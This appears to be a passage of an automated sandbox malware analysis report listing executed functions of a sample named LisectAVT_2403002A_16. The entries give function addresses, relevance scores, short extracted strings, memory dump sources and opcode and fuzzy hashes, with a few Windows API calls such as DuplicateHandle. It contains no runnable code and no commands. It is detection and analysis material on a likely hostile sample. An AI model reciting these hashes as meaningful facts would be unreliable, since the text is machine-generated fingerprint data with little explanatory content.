Executed Functions

Function 06686338 Relevance: 7.9, Strings: 5, Instructions: 1635COMMON

Download Yara Rule

Strings

$^q, xrefs: 06687A05
$^q, xrefs: 066879F9
$^q, xrefs: 06687A1B
$^q, xrefs: 066879DC
$^q, xrefs: 066879D0

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q
API String ID: 0-358201761
Opcode ID: 6d3f08566a75528f97709377918cf1b33db66dc0a4c0125e15893ea16549c141
Instruction ID: becef379f3706cb91664b10387039957c83b76674ee720a2efe580ee54bbb1ae
Opcode Fuzzy Hash: 6d3f08566a75528f97709377918cf1b33db66dc0a4c0125e15893ea16549c141
Instruction Fuzzy Hash: 7EE23930E002198FCB64EB68C994A9DB7F2EF85304F5486A9D449EB365EB70ED85CB41

Function 0668C218 Relevance: 6.8, Strings: 5, Instructions: 514
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

c<, xrefs: 0668C72A
$^q, xrefs: 0668C59E
Uc<, xrefs: 0668C7F1
c<, xrefs: 0668C782
$^q, xrefs: 0668C592

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID: Uc<$$^q$$^q$c<$c<
API String ID: 0-1836474973
Opcode ID: f56751922a38e17706c21d58ae3b6170f3cf7f52836dd3dbc04dc43ef861be56
Instruction ID: e2871868015e9e00f8c4fb8090086d5bcdd7e58f9710b4bd31bfcf8bb67064c3
Opcode Fuzzy Hash: f56751922a38e17706c21d58ae3b6170f3cf7f52836dd3dbc04dc43ef861be56
Instruction Fuzzy Hash: E602AF30F003169FDB54EBB8D4506AEB7E2AF84214F148669D406EB395EF74DC86CBA1

Function 06680040 Relevance: 2.7, Instructions: 2729COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f394e64c2132df6a3160fda0f7301238923a64719eeab3a707734747ea0966b
Instruction ID: f14b1a04e7eb3394953c0ce5ac856a33786cabeef0b41e87a53a5ff3a114a12f
Opcode Fuzzy Hash: 4f394e64c2132df6a3160fda0f7301238923a64719eeab3a707734747ea0966b
Instruction Fuzzy Hash: 50530531C10B1A8ECB51EF68C894599F7B1FF99300F55C79AE4587B221EB70AAC4CB81

Function 066894B0 Relevance: 1.9, Strings: 1, Instructions: 614COMMON

Download Yara Rule

Strings

$, xrefs: 066898DF

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 49b372b18ac2003f4d03ee79e00fd4abdf643a27db8b7aa21d371a17096715e4
Instruction ID: b639c0399c0a17774690d6d36c95486e64770e79afcf241ec0b549e6e772e3fe
Opcode Fuzzy Hash: 49b372b18ac2003f4d03ee79e00fd4abdf643a27db8b7aa21d371a17096715e4
Instruction Fuzzy Hash: EA22AF35E002059FDF64EFB9C4846AEB7F2EF85314F20866AD55AAB344DA31DC42CB91

Function 06680006 Relevance: 1.8, Instructions: 1768COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 439bb842a1111a20f300b0a1200d8d15b85739469794c080102e350081d13353
Instruction ID: 43bc4d634d25f6c3fcf067b90b42399d06c4573c3637214c57a6bed8b82da256
Opcode Fuzzy Hash: 439bb842a1111a20f300b0a1200d8d15b85739469794c080102e350081d13353
Instruction Fuzzy Hash: D613F531C10B1A8ECB51EF68C8805A9F7B1FF99300F55D79AE45877221EB70AAD5CB81

Function 0668A8F0 Relevance: .9, Instructions: 871COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c067218ec27d12f9d85b885c43a72324ff2bed81d0958c2bc288b5ec6a93e6c
Instruction ID: ae2d917f07bdb1fd0204fdbee54a28605b0a6b106df48d1a9db685d44b0735db
Opcode Fuzzy Hash: 7c067218ec27d12f9d85b885c43a72324ff2bed81d0958c2bc288b5ec6a93e6c
Instruction Fuzzy Hash: 37629030B002059FDB54EBB8D5946AEB7F2EF84314F14866AE806EB391DB75DC42CB91

Function 0668D718 Relevance: 11.5, Strings: 9, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

}c<, xrefs: 0668D781
$^q, xrefs: 0668D7B9
uc<, xrefs: 0668DA00
c<, xrefs: 0668D942
$^q, xrefs: 0668D7CF
$^q, xrefs: 0668D832
$^q, xrefs: 0668D826
kc<, xrefs: 0668D7EF
$c<, xrefs: 0668D7FF

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID: $c<$kc<$uc<$}c<$$^q$$^q$$^q$$^q$c<
API String ID: 0-206387987
Opcode ID: 06610be9c5ab310afc4a828761c44ebf05715651a4d8d8f3eadcc9a2f62e7002
Instruction ID: 0c413c935d9c687c3ffb632fc171b641aa09d5fe865e6a1a63018e8458c0ddba
Opcode Fuzzy Hash: 06610be9c5ab310afc4a828761c44ebf05715651a4d8d8f3eadcc9a2f62e7002
Instruction Fuzzy Hash: 8EC1FD70E002199FDB64EF65C95079EB7F6AF89304F5085AAC40DAB394DB709D82CFA1

Function 0668F5A0 Relevance: 10.4, Strings: 8, Instructions: 411
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 0668F793
$^q, xrefs: 0668F6DD
$^q, xrefs: 0668F764
$^q, xrefs: 0668F6D1
$^q, xrefs: 0668F787
$^q, xrefs: 0668F758
$^q, xrefs: 0668F723
$^q, xrefs: 0668F72F

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: f2d4108af59ffaad975fd984b4e1f41d8dbe6674ed8dda80a353fbca1fe51391
Instruction ID: bfc7aae2bf0426b5dd5ce93bdaa8b6dadf3f321e542781ccab9c4595ad038524
Opcode Fuzzy Hash: f2d4108af59ffaad975fd984b4e1f41d8dbe6674ed8dda80a353fbca1fe51391
Instruction Fuzzy Hash: 7DE16D30E1030A8FDB68EFB9D4546AEB7F2AF85254F208629D405EB354EF71D846CB91

Function 0668D707 Relevance: 9.0, Strings: 7, Instructions: 214
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

}c<, xrefs: 0668D781
$^q, xrefs: 0668D7B9
uc<, xrefs: 0668DA00
c<, xrefs: 0668D942
$^q, xrefs: 0668D826
kc<, xrefs: 0668D7EF
$c<, xrefs: 0668D7FF

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID: $c<$kc<$uc<$}c<$$^q$$^q$c<
API String ID: 0-2146872185
Opcode ID: 48fe9b24bd5a2995587920823e155fa3f1cf57fbd12dff0955bd4754d482dc3f
Instruction ID: 9a57d36f1c659aed1e6f9d6b74b44cba3d910fdf0d1c1341e65ed9a46a7898c4
Opcode Fuzzy Hash: 48fe9b24bd5a2995587920823e155fa3f1cf57fbd12dff0955bd4754d482dc3f
Instruction Fuzzy Hash: 2C910070E012199FDB64EF64D950BEEB7F6AF89304F5045AAC40DA7394DA309D81CFA1

Function 06688A70 Relevance: 3.9, Strings: 3, Instructions: 174
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\Ocq, xrefs: 06688C23
fcq, xrefs: 06688A9B
XPcq, xrefs: 06688B94

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID: fcq$XPcq$\Ocq
API String ID: 0-3575482020
Opcode ID: 876218a5f43ea66986cd31c5d649f2cdfc3789bff0f08d6a61887faa98d8b274
Instruction ID: ad603df67e2d339bce71581ac97f75b69e756b760d5f29269a62f144f7d0d0ba
Opcode Fuzzy Hash: 876218a5f43ea66986cd31c5d649f2cdfc3789bff0f08d6a61887faa98d8b274
Instruction Fuzzy Hash: AE517470F002199FEB54ABB8C4147AEBAE7EB88740F504529D546EB384DEB54C02CF91

Function 06688A60 Relevance: 2.6, Strings: 2, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fcq, xrefs: 06688A9B
XPcq, xrefs: 06688B94

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID: fcq$XPcq
API String ID: 0-936005338
Opcode ID: 61fa0cf3133fb74bcfbb8856481e7a71aeef56e509fbafe409d2cd90d78271c7
Instruction ID: 334dfea131db292eff3cbdb81f0f7c22bfd2537c3767c5bae3eab23011492da9
Opcode Fuzzy Hash: 61fa0cf3133fb74bcfbb8856481e7a71aeef56e509fbafe409d2cd90d78271c7
Instruction Fuzzy Hash: 0B417470B002199FEB54AFB8C4547AEBAE7EF88740F208529D545EB3D4DE748C02CB96

Function 0138AE98 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0138AF1F

Memory Dump Source

Source File: 00000009.00000002.2901155834.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1380000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ee1b61acb3954a4774c9d193338b814d96c4048f9825809debac483a679d63da
Instruction ID: 2250210eb6e14a9b0329345c998328c067c8d36f687d624e407c1a2128e38c79
Opcode Fuzzy Hash: ee1b61acb3954a4774c9d193338b814d96c4048f9825809debac483a679d63da
Instruction Fuzzy Hash: 9721E4B59002489FDB10CFAAD984ADEFFF4EB48314F14841AE954A7350D374A944CFA5

Function 0138AE90 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0138AF1F

Memory Dump Source

Source File: 00000009.00000002.2901155834.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1380000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ae2a797d086e4461e40e74565c582ac34feba3bb2d52d43fc475f2c960c9d029
Instruction ID: 763fa80d955a2a43f9c864abe7f6fe09d163a0e0028d096ded3471c60dc1cc9e
Opcode Fuzzy Hash: ae2a797d086e4461e40e74565c582ac34feba3bb2d52d43fc475f2c960c9d029
Instruction Fuzzy Hash: 642100B5D002089FDB10CFA9D984AEEBFF4EB48320F14845AE918A3250D374A944CFA5

Function 06603F71 Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 06603FDF

Memory Dump Source

Source File: 00000009.00000002.2912583579.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6600000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: ab6d14eee20be3667dcb9e9e101b9b7309acd12178da7066217ae14d0411d0b2
Instruction ID: bc8d90c9b801ff8cb7fc493a1826e180837ed2e7dc90fc46d6348a400a3a1aca
Opcode Fuzzy Hash: ab6d14eee20be3667dcb9e9e101b9b7309acd12178da7066217ae14d0411d0b2
Instruction Fuzzy Hash: 9D1103B1C0025A9BCB10CF9AC445BDEFBF4AF48320F14816AE818B7341D778A944CFA6

Function 06603F78 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 06603FDF

Memory Dump Source

Source File: 00000009.00000002.2912583579.0000000006600000.00000040.00000800.00020000.00000000.sdmp, Offset: 06600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6600000_LisectAVT_2403002A_16.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 2c9e9b3da0be995f82dd12d933e15529173934e265af569f89e897631fb48697
Instruction ID: b699b0a33bfebdd1b391ba07e653aa0c1b572e5b031041a13fc977923e0bba2d
Opcode Fuzzy Hash: 2c9e9b3da0be995f82dd12d933e15529173934e265af569f89e897631fb48697
Instruction Fuzzy Hash: CF11E2B1C0065A9BDB10DF9AC544BDEFBF4AF48324F14816AD818B7250D778A944CFA5

Function 06686185 Relevance: 1.4, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

PH^q, xrefs: 066862EA

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: 4e4c6fb62affef60c251dde33f46f6338beaef8c43728397663d8cdae0be6f4b
Instruction ID: bda60fe54a043b957d99ced450e55e407432dca83718e56c05df8ccd9cf62696
Opcode Fuzzy Hash: 4e4c6fb62affef60c251dde33f46f6338beaef8c43728397663d8cdae0be6f4b
Instruction Fuzzy Hash: 9641D530B003019FDB55AB74C8246AF76E7AF85200F644669E406DB395DF39DD46CBA1

Function 06686198 Relevance: 1.4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

PH^q, xrefs: 066862EA

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: ad47ea4a00aab045d2905c0d4590a78c923644af195a3fb6d8fc11fb41cbb5c7
Instruction ID: b6abc6613c7220362f8274e1099a54f1dfeebc4b8761ae09514529ebb8bfbce6
Opcode Fuzzy Hash: ad47ea4a00aab045d2905c0d4590a78c923644af195a3fb6d8fc11fb41cbb5c7
Instruction Fuzzy Hash: F731B430B002058FDB59BB78C52466F76E7AFC5200F205679E006DB395EE79DC46CB91

Function 06688959 Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

\Ocq, xrefs: 06688965

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID: \Ocq
API String ID: 0-2995510325
Opcode ID: a68b85211103dcacec5ff9120112dc3b8363a8ede09281f8b547d876adc42ceb
Instruction ID: 33a8125bc858a023cc1c0beec107273b0c3b8b9534c459970d9d8f28c85dc607
Opcode Fuzzy Hash: a68b85211103dcacec5ff9120112dc3b8363a8ede09281f8b547d876adc42ceb
Instruction Fuzzy Hash: 8DF0B730A5012ADFDB149FA4E859BAEBB72BF84700F604119E002A7294CBB51C41CB81

Function 0668FDAD Relevance: .4, Instructions: 354COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e871b11c4e3698fbb4b9626c35923bad872726e0181bcd7bab87b18d11283bf2
Instruction ID: 0f266fc8cc856f322973de07398015617459dbfe923373e323bba4b53520b5ba
Opcode Fuzzy Hash: e871b11c4e3698fbb4b9626c35923bad872726e0181bcd7bab87b18d11283bf2
Instruction Fuzzy Hash: 82A16330F102099FDF64AABCC5947AEB6E6EB89350F204925E409EB395DA35DC81C762

Function 066832C8 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3d84010f65753a8ddaee0b408c429d04ff02c0b0a25a80a189a25b7c908e9b8
Instruction ID: 705931465baa4225a3fef9462e12a7ab6fa91c72d4a0f388da484ffff85b7f94
Opcode Fuzzy Hash: b3d84010f65753a8ddaee0b408c429d04ff02c0b0a25a80a189a25b7c908e9b8
Instruction Fuzzy Hash: 70A1D470F002129FDB15EFB8C480A6EBBA6FB84710F148669D456EB395DB35DC82C792

Function 06688169 Relevance: .2, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1016dbdd12a7f1fc9766213c46c82f5fa4ac43647fd13f770eeec6ea117efae8
Instruction ID: 863368144480b65c7acbed1e371907d164de6c4db35dbb96e734826072135eb7
Opcode Fuzzy Hash: 1016dbdd12a7f1fc9766213c46c82f5fa4ac43647fd13f770eeec6ea117efae8
Instruction Fuzzy Hash: E6914D31B006069FDB54EBB8C46476EB7E7AFC9304F548629D40AEB384EE74DC428B91

Function 06688178 Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85706acad6305a969e3ba48d55a19c19dea38c335fe36fb0d3b3f61fbffb0e3f
Instruction ID: f966617361b595bba3c0dfc598a836b1658e6b9ece1aab67e47378a860929f88
Opcode Fuzzy Hash: 85706acad6305a969e3ba48d55a19c19dea38c335fe36fb0d3b3f61fbffb0e3f
Instruction Fuzzy Hash: A4814C30F006065FDB54EBB9C46476EB6E7AF89304F508629D40AEB384EE74DC428B92

Function 0668A130 Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a4d8f9871e95fddf6c2541ed9fa1ac08439d8c8c48a8eedc5df35c5ad5bf69c
Instruction ID: 638582800d62667cb2e205516b69aa8f8957adde1ccd331fd7608fa392e0d07e
Opcode Fuzzy Hash: 7a4d8f9871e95fddf6c2541ed9fa1ac08439d8c8c48a8eedc5df35c5ad5bf69c
Instruction Fuzzy Hash: D261F371F001114FCB51AABEC8846AFEAD7AFD5220B15413AD80EDB360EEA5DD0287D2

Function 066884C5 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ec790a646a2dc9f80f1e01abd023380dd947188919375230bf3f3fdb4fae559
Instruction ID: fa5abd7b4f470c3b8f2bac95132eed67912bef33c76f6a22b467e237495d3687
Opcode Fuzzy Hash: 7ec790a646a2dc9f80f1e01abd023380dd947188919375230bf3f3fdb4fae559
Instruction Fuzzy Hash: 86913E30E1021A8FDB60DF68C890B9DB7B1FF89300F608699D549AB355DB70AE85CF91

Function 066884D8 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b78dc9d77cab2a51e8dd80597b35ff691a0e390db585ca47407a5a4c7f8edea8
Instruction ID: 6c47c4f30628375d4b979403cd47aa14635d5f14c119970b5863bf070f7de02e
Opcode Fuzzy Hash: b78dc9d77cab2a51e8dd80597b35ff691a0e390db585ca47407a5a4c7f8edea8
Instruction Fuzzy Hash: D7913C30E1021A8FDB60DF68C890B9DB7B1FF89300F608699D549AB355DB70AA85CF91

Function 06689330 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc71d33212f864b5fe1567cbca8baae1e6fae8eab5267fd0160296be7cf5bc4f
Instruction ID: b4d9054b95e8f6e22f2a387ebae81b85adfc577460e27894efccd4eee619d873
Opcode Fuzzy Hash: dc71d33212f864b5fe1567cbca8baae1e6fae8eab5267fd0160296be7cf5bc4f
Instruction Fuzzy Hash: 97412C71E006099FDB70DEADD880ABEFBB2FB85310F104A2AD15AD7650D331A955CB91

Function 06686048 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31cde8ea3b974a59d1c46e2ad89995138b3e7bc1887b5e269133d1b9af6af835
Instruction ID: ae295a1d76d99a8a66ec30212773a8a2b208390b58cba857beb242b1449dcbca
Opcode Fuzzy Hash: 31cde8ea3b974a59d1c46e2ad89995138b3e7bc1887b5e269133d1b9af6af835
Instruction Fuzzy Hash: E3317E30E002099FCB55DFA9D994A9EB7F6BF89300F108619E806EB355DB71AC46CB90

Function 06686058 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f53e3861bbdc7d5a9b7260bd5ad679b901a6fc0d34b6bd8ee7ecb19a7142df5
Instruction ID: 1ce0c12bbfe6baf3a0c0c2374b70568b60f9e54f8203a244c0b58e83f1b16ed3
Opcode Fuzzy Hash: 6f53e3861bbdc7d5a9b7260bd5ad679b901a6fc0d34b6bd8ee7ecb19a7142df5
Instruction Fuzzy Hash: E7314D30E102199FCF55DFA9D59469EB7F2BF89310F108629E806E7355DB71AC42CB90

Function 06687D20 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 859731554e71613bc8b5c9107ef9eadd83e370046a4f98ce680d25496d31ce02
Instruction ID: 49b41e5d61206daebfbce078e1fdeaec4a472b0c9b7d60aca99951d02fcd97e1
Opcode Fuzzy Hash: 859731554e71613bc8b5c9107ef9eadd83e370046a4f98ce680d25496d31ce02
Instruction Fuzzy Hash: F6319171F003159FDB50EFBC88507BEBAF2AB48610F64816AD509F7390EA70CD0287A1

Function 06687D10 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e77e67f6ccfb99257ebc66339330d453e6b276d9a88eae41fe9d647a4225e43b
Instruction ID: 97177cc561321b30445a3c66ec92dbbda3724fffb4743c3d3054a9c387f51976
Opcode Fuzzy Hash: e77e67f6ccfb99257ebc66339330d453e6b276d9a88eae41fe9d647a4225e43b
Instruction Fuzzy Hash: B031C131F013119FDB50EF78C8507BEBAE29F48214F24856AE949F7380EA74CC028BA5

Function 010BD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2899199979.00000000010BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_10bd000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f31862b40ad6323c0c4160248301e75ddc4c1b99b32e41fe54c8394091968ff
Instruction ID: d19611b9d146c5d2974e4616c879b4fedd6c6e7ce0d84e18114e766d8b125fff
Opcode Fuzzy Hash: 1f31862b40ad6323c0c4160248301e75ddc4c1b99b32e41fe54c8394091968ff
Instruction Fuzzy Hash: 70212271614200DFCB15DF98D9C4B6AFFA5EB88318F20C5ADE98A4B256C33AD447CB61

Function 06687E58 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b458d89ae4c9ace00341c560ced3259639f7bb7a999dc027368ba54ffa158bd8
Instruction ID: 3ff43a401c3d5532fc0030f61dca7126e88293687110c9b19be08df47a937521
Opcode Fuzzy Hash: b458d89ae4c9ace00341c560ced3259639f7bb7a999dc027368ba54ffa158bd8
Instruction Fuzzy Hash: F911C232F002156FDB54F6B888546BF76EB9BC8250B20457AD50AE7340EE61DD0387A2

Function 0668EAEF Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6680000_LisectAVT_2403002A_16.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f88ca60ef0cc0f98e3d7ed6bc7e7c25c481e0a04f6e0093ba406ec7e88abd57f
Instruction ID: 8d0dc519cd626d85d7717422ab620334bb41d7bb857d6efd6076050db3a1635c
Opcode Fuzzy Hash: f88ca60ef0cc0f98e3d7ed6bc7e7c25c481e0a04f6e0093ba406ec7e88abd57f
Instruction Fuzzy Hash: 13112530B013151FCB65BA78D914BAF37DADB86310F118629F60ACB381ED26DC0287E1

Function 06689320 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2912811982.0000000006680000.00000040.00000800.00020000.00000000.sdmp, Offset: 06680000, based on PE: false

